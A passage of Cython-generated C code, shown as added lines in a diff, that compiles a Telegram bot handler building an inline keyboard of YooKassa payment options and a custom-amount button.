*/ + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_tg_id = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":57 + * tg_id = callback_query.message.chat.id + * + * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_4)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_4); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_4, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":59 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_6 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 59, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 59, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_6 = 0; + __pyx_t_7 = NULL; + } else { + __pyx_t_6 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_7 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 59, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_7)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #endif + if (__pyx_t_6 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_6); __Pyx_INCREF(__pyx_t_3); __pyx_t_6++; if (unlikely((0 < 0))) __PYX_ERR(0, 59, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_6); __pyx_t_6++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_7(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 59, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":60 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_8 = PyObject_Length(__pyx_t_4); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __pyx_t_9 = PyObject_RichCompare(__pyx_t_3, __pyx_t_4, Py_LT); __Pyx_XGOTREF(__pyx_t_9); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_9); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/yookassa_pay.py":61 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yookassa_pay.py":62 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/yookassa_pay.py":63 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_10 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/yookassa_pay.py":62 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + + /* "handlers/payments/yookassa_pay.py":66 + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_10, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + + /* "handlers/payments/yookassa_pay.py":67 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/yookassa_pay.py":68 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 67, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/yookassa_pay.py":66 + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 66, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 61, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + + /* "handlers/payments/yookassa_pay.py":60 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/yookassa_pay.py":72 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yookassa_pay.py":73 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/yookassa_pay.py":74 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":75 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_yookassa, __pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/yookassa_pay.py":73 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 73, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_4))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_4); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_4, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + } + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + } + __pyx_L8:; + + /* "handlers/payments/yookassa_pay.py":59 + * builder = InlineKeyboardBuilder() + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/yookassa_pay.py":78 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + + /* "handlers/payments/yookassa_pay.py":79 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yookassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/yookassa_pay.py":80 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_yookassa", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_yookassa) < 0) __PYX_ERR(0, 80, __pyx_L1_error) + + /* "handlers/payments/yookassa_pay.py":79 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_yookassa", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_9))) 